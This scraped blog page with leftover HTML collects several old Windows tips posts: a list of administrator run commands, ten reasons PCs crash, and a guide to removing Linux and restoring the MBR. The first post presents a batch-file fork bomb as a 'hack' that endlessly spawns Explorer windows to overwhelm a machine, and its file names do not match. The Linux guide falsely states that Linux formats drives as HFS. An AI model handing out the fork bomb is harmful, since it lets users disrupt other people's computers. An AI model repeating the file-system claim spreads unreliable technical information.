<span style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;">:loop</span><br />
<span style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;">Explorer</span><br />
<span style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;">Call fork.bat</span><br />
<span style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;">Goto loop</span><br />
<span style="background-color: white; color: #333333; font-family: 'Segoe UI', Calibri, 'Myriad Pro', Myriad, 'Trebuchet MS', Helvetica, Arial, sans-serif; font-size: 13px; line-height: 19px;">save as myhackzs.bat</span></div>

Fork Bombing using bat file

open notepad & type @echo off :loop Explorer Call fork.bat Goto loop save as myhackzs.bat

windows run commands used by system admininstrators

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<br />
cmd = Command Prompt<br />
iexplore + "web address" = Internet Explorer<br />
compmgmt.msc = Computer Management<br />
dhcpmgmt.msc = DHCP Management<br />
dnsmgmt.msc = DNS Management<br />
services.msc = Services<br />
eventvwr = Event Viewer<br />
dsa.msc = Active Directory Users and Computers<br />
dssite.msc = Active Directory Sites and Services<br />
<br />
devmgmt.msc = Device Manager<br />
msinfo32 = System Information<br />
cleanmgr = Disk Cleanup<br />
ntbackup = Backup or Restore Wizard (Windows Backup Utility)<br />
mmc = Microsoft Management Console<br />
excel = Microsoft Excel (If Installed)<br />
msaccess = Microsoft Access (If Installed)<br />
powerpnt = Microsoft PowerPoint (If Installed)<br />
winword = Microsoft Word (If Installed)<br />
frontpg = Microsoft FrontPage (If Installed)<br />
notepad = Notepad<br />
wordpad = WordPad<br />
calc = Calculator<br />
msmsgs = Windows Messenger<br />
mspaint = Microsoft Paint<br />
wmplayer = Windows Media Player<br />
rstrui = System Restore<br />
netscp6 = Netscape 6.x<br />
netscp = Netscape 7.x<br />
netscape = Netscape 4.x<br />
waol = America Online<br />
control = Opens the Control Panel<br />
control printers = Opens the Printers Dialog<br />
<br />
</div>

windows run commands used by system admininstrators

cmd = Command Prompt iexplore + "web address" = Internet Explorer compmgmt.msc = Computer Management dhcpmgmt.msc = DHCP Mana...

10 reasons why PCs crash U must Know

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<br />
<br />
<br />
<h2 style="text-align: left;">
<span style="color: red;">1 Hardware conflict</span></h2>
<br />
The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other devices through an interrupt request channel (IRQ). These are supposed to be unique for each device.<br />
<br />
For example, a printer usually connects internally on IRQ 7. The keyboard usually uses IRQ 1 and the floppy disk drive IRQ 6. Each device will try to hog a single IRQ for itself.<br />
<br />
If there are a lot of devices, or if they are not installed properly, two of them may end up sharing the same IRQ number. When the user tries to use both devices at the same time, a crash can happen. The way to check if your computer has a hardware conflict is through the following route:<br />
<br />
* Start-Settings-Control Panel-System-Device Manager.<br />
<br />
Often if a device has a problem a yellow '!' appears next to its description in the Device Manager. Highlight Computer (in the Device Manager) and press Properties to see the IRQ numbers used by your computer. If the IRQ number appears twice, two devices may be using it.<br />
<br />
Sometimes a device might share an IRQ with something described as 'IRQ holder for PCI steering'. This can be ignored. The best way to fix this problem is to remove the problem device and reinstall it.<br />
<br />
Sometimes you may have to find more recent drivers on the internet to make the device function properly. A good resource is www.driverguide.com. If the device is a soundcard, or a modem, it can often be fixed by moving it to a different slot on the motherboard (be careful about opening your computer, as you may void the warranty).<br />
<br />
When working inside a computer you should switch it off, unplug the mains lead and touch an unpainted metal surface to discharge any static electricity.<br />
<br />
To be fair to Mcft, the problem with IRQ numbers is not of its making. It is a legacy problem going back to the first PC designs using the IBM 8086 chip. Initially there were only eight IRQs. Today there are 16 IRQs in a PC. It is easy to run out of them. There are plans to increase the number of IRQs in future designs.<br />
<br />
<h2 style="text-align: left;">
<span style="color: red;">2 Bad Ram</span></h2>
<br />
Ram (random-access memory) problems might bring on the blue screen of death with a message saying Fatal Exception Error. A fatal error indicates a serious hardware problem. Sometimes it may mean a part is damaged and will need replacing.<br />
<br />
But a fatal error caused by Ram might be caused by a mismatch of chips. For example, mixing 70-nanosecond (70ns) Ram with 60ns Ram will usually force the computer to run all the Ram at the slower speed. This will often crash the machine if the Ram is overworked.<br />
<br />
One way around this problem is to enter the BIOS settings and increase the wait state of the Ram. This can make it more stable. Another way to troubleshoot a suspected Ram problem is to rearrange the Ram chips on the motherboard, or take some of them out. Then try to repeat the circumstances that caused the crash. When handling Ram try not to touch the gold connections, as they can be easily damaged.<br />
<br />
Parity error messages also refer to Ram. Modern Ram chips are either parity (ECC) or non parity (non-ECC). It is best not to mix the two types, as this can be a cause of trouble.<br />
<br />
EMM386 error messages refer to memory problems but may not be connected to bad Ram. This may be due to free memory problems often linked to old Dos-based programmes.<br />
<br />
<h2 style="text-align: left;">
<span style="color: red;">3 BIOS settings</span></h2>
<br />
Every motherboard is supplied with a range of chipset settings that are decided in the factory. A common way to access these settings is to press the F2 or delete button during the first few seconds of a boot-up.<br />
<br />
Once inside the BIOS, great care should be taken. It is a good idea to write down on a piece of paper all the settings that appear on the screen. That way, if you change something and the computer becomes more unstable, you will know what settings to revert to.<br />
<br />
A common BIOS error concerns the CAS latency. This refers to the Ram. Older EDO (extended data out) Ram has a CAS latency of 3. Newer SDRam has a CAS latency of 2. Setting the wrong figure can cause the Ram to lock up and freeze the computer's display.<br />
<br />
Mcft Windows is better at allocating IRQ numbers than any BIOS. If possible set the IRQ numbers to Auto in the BIOS. This will allow Windows to allocate the IRQ numbers (make sure the BIOS setting for Plug and Play OS is switched to 'yes' to allow Windows to do this.).<br />
<br />
<h2 style="text-align: left;">
<span style="color: red;">4 Hard disk drives</span></h2>
<br />
After a few weeks, the information on a hard disk drive starts to become piecemeal or fragmented. It is a good idea to defragment the hard disk every week or so, to prevent the disk from causing a screen freeze. Go to<br />
<br />
* Start-Programs-Accessories-System Tools-Disk Defragmenter<br />
<br />
This will start the procedure. You will be unable to write data to the hard drive (to save it) while the disk is defragmenting, so it is a good idea to schedule the procedure for a period of inactivity using the Task Scheduler.<br />
<br />
The Task Scheduler should be one of the small icons on the bottom right of the Windows opening page (the desktop).<br />
<br />
Some lockups and screen freezes caused by hard disk problems can be solved by reducing the read-ahead optimisation. This can be adjusted by going to<br />
<br />
* Start-Settings-Control Panel-System Icon-Performance-File System-Hard Disk.<br />
<br />
Hard disks will slow down and crash if they are too full. Do some housekeeping on your hard drive every few months and free some space on it. Open the Windows folder on the C drive and find the Temporary Internet Files folder. Deleting the contents (not the folder) can free a lot of space.<br />
<br />
Empty the Recycle Bin every week to free more space. Hard disk drives should be scanned every week for errors or bad sectors. Go to<br />
<br />
* Start-Programs-Accessories-System Tools-ScanDisk<br />
<br />
Otherwise assign the Task Scheduler to perform this operation at night when the computer is not in use.<br />
<br />
<h2 style="text-align: left;">
<span style="color: red;">5 Fatal OE exceptions and VXD errors</span></h2>
<br />
Fatal OE exception errors and VXD errors are often caused by video card problems.<br />
<br />
These can often be resolved easily by reducing the resolution of the video display. Go to<br />
<br />
* Start-Settings-Control Panel-Display-Settings<br />
<br />
Here you should slide the screen area bar to the left. Take a look at the colour settings on the left of that window. For most desktops, high colour 16-bit depth is adequate.<br />
<br />
If the screen freezes or you experience system lockups it might be due to the video card. Make sure it does not have a hardware conflict. Go to<br />
<br />
* Start-Settings-Control Panel-System-Device Manager<br />
<br />
Here, select the + beside Display Adapter. A line of text describing your video card should appear. Select it (make it blue) and press properties. Then select Resources and select each line in the window. Look for a message that says No Conflicts.<br />
<br />
If you have video card hardware conflict, you will see it here. Be careful at this point and make a note of everything you do in case you make things worse.<br />
<br />
The way to resolve a hardware conflict is to uncheck the Use Automatic Settings box and hit the Change Settings button. You are searching for a setting that will display a No Conflicts message.<br />
<br />
Another useful way to resolve video problems is to go to<br />
<br />
* Start-Settings-Control Panel-System-Performance-Graphics<br />
<br />
Here you should move the Hardware Acceleration slider to the left. As ever, the most common cause of problems relating to graphics cards is old or faulty drivers (a driver is a small piece of software used by a computer to communicate with a device).<br />
<br />
Look up your video card's manufacturer on the internet and search for the most recent drivers for it.<br />
<br />
<h2 style="text-align: left;">
<span style="color: red;">6 Viruses</span></h2>
<br />
Often the first sign of a virus infection is instability. Some viruses erase the boot sector of a hard drive, making it impossible to start. This is why it is a good idea to create a Windows start-up disk. Go to<br />
<br />
* Start-Settings-Control Panel-Add/Remove Programs<br />
<br />
Here, look for the Start Up Disk tab. Virus protection requires constant vigilance.<br />
<br />
A virus scanner requires a list of virus signatures in order to be able to identify viruses. These signatures are stored in a DAT file. DAT files should be updated weekly from the website of your antivirus software manufacturer.<br />
<br />
An excellent antivirus programme is McAfee VirusScan by Network Associates ( www.nai.com). Another is Norton AntiVirus 2000, made by Symantec ( www.symantec.com).<br />
<br />
<h2 style="text-align: left;">
<span style="color: red;">7 Printers</span></h2>
<br />
The action of sending a document to print creates a bigger file, often called a postscript file.<br />
<br />
Printers have only a small amount of memory, called a buffer. This can be easily overloaded. Printing a document also uses a considerable amount of CPU power. This will also slow down the computer's performance.<br />
<br />
If the printer is trying to print unusual characters, these might not be recognised, and can crash the computer. Sometimes printers will not recover from a crash because of confusion in the buffer. A good way to clear the buffer is to unplug the printer for ten seconds. Booting up from a powerless state, also called a cold boot, will restore the printer's default settings and you may be able to carry on.<br />
<br />
<h2 style="text-align: left;">
<span style="color: red;">8 Software</span></h2>
<br />
A common cause of computer crash is faulty or badly-installed software. Often the problem can be cured by uninstalling the software and then reinstalling it. Use Norton Uninstall or Uninstall Shield to remove an application from your system properly. This will also remove references to the programme in the System Registry and leaves the way clear for a completely fresh copy.<br />
<br />
The System Registry can be corrupted by old references to obsolete software that you thought was uninstalled. Use Reg Cleaner by Jouni Vuorio to clean up the System Registry and remove obsolete entries. It works on Windows 95, Windows 98, Windows 98 SE (Second Edition), Windows Millennium Edition (ME), NT4 and Windows 2000.<br />
<br />
Read the instructions and use it carefully so you don't do permanent damage to the Registry. If the Registry is damaged you will have to reinstall your operating system. Reg Cleaner can be obtained from www.jv16.org<br />
<br />
Often a Windows problem can be resolved by entering Safe Mode. This can be done during start-up. When you see the message "Starting Windows" press F4. This should take you into Safe Mode.<br />
<br />
Safe Mode loads a minimum of drivers. It allows you to find and fix problems that prevent Windows from loading properly.<br />
<br />
Sometimes installing Windows is difficult because of unsuitable BIOS settings. If you keep getting SUWIN error messages (Windows setup) during the Windows installation, then try entering the BIOS and disabling the CPU internal cache. Try to disable the Level 2 (L2) cache if that doesn't work.<br />
<br />
Remember to restore all the BIOS settings back to their former settings following installation.<br />
<br />
<h2 style="text-align: left;">
<span style="color: red;">9 Overheating</span></h2>
<br />
Central processing units (CPUs) are usually equipped with fans to keep them cool. If the fan fails or if the CPU gets old it may start to overheat and generate a particular kind of error called a kernel error. This is a common problem in chips that have been overclocked to operate at higher speeds than they are supposed to.<br />
<br />
One remedy is to get a bigger better fan and install it on top of the CPU. Specialist cooling fans/heatsinks are available from www.computernerd.com or www.coolit.com<br />
<br />
CPU problems can often be fixed by disabling the CPU internal cache in the BIOS. This will make the machine run more slowly, but it should also be more stable.<br />
<br />
<h2 style="text-align: left;">
<span style="color: red;">10 Power supply problems</span></h2>
<br />
With all the new construction going on around the country the steady supply of electricity has become disrupted. A power surge or spike can crash a computer as easily as a power cut.<br />
<br />
If this has become a nuisance for you then consider buying a uninterrupted power supply (UPS). This will give you a clean power supply when there is electricity, and it will give you a few minutes to perform a controlled shutdown in case of a power cut.<br />
<br />
It is a good investment if your data are critical, because a power cut will cause any unsaved data to be lost.<br />
<div>
<br /></div>
</div>

10 reasons why PCs crash U must Know

1 Hardware conflict The number one reason why Windows crashes is hardware conflict. Each hardware device communicates to other device...

Remove Linux From Your Pc Safely and restoring your MBR

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<br />
First of all you need to know where your Linux OS is installed to. that is what drive it is currently living on. Bear in mind that Linux formats the drive as HFS rather than Fat/Fat32 or NTFS. ( These are the file systems used by various Operating Systems).<br />
<br />
So HFS Partitions are not seen by windows, so its hidden.<br />
<br />
To remove the partitions of Linux in WindowsXP go to your 'Control panel' > Admistrative Tools > Computer Managment<br />
<br />
Open 'Disk Management' and you will see your Linux drives recognised as 'Unknown Partition' plus the status of the drive. Bearing in mind you know what partition and disk you installed to it will be easier to recognise as the drive/partition where you had installed it to.<br />
<br />
Once you have identifed the drives, 'right-Click' on the drive/partiton and select 'Delete Logical Drive'<br />
<br />
Once you have followed this through, you will now have free space.<br />
<br />
This next part is very important. Once you have formatted the drive, re format it as your required file system type. either Fat32 or NTFS. Now the important part is coming up !<br />
<br />
Fixing your Master Boot Record to make Windows Bootable again.<br />
<br />
Have a Windows Boot disk with all the basic DOS Commands loaded on to the disk. A standard Windows 98/Me Boot Disk will work too.<br />
<br />
Type in the DOS command :<br />
<br />
e.g, from your C:\<br />
<br />
fdisk /mbr<br />
<br />
Or use your Windows XP run the recovery console, pick which xp install you would like to boot in to (usually you will pick #1)<br />
<br />
then type: fixmbr. Answer Y to the dialoge.<br />
<br />
Your master boot record will now be restored and Windows XP will be bootable once again. Your System will be restored with your original boot loader that you got with Windows XP.<br />
<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span><br />
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<br /></div>
</div>

Remove Linux From Your Pc Safely and restoring your MBR

First of all you need to know where your Linux OS is installed to. that is what drive it is currently living on. Bear in mind that Linux f...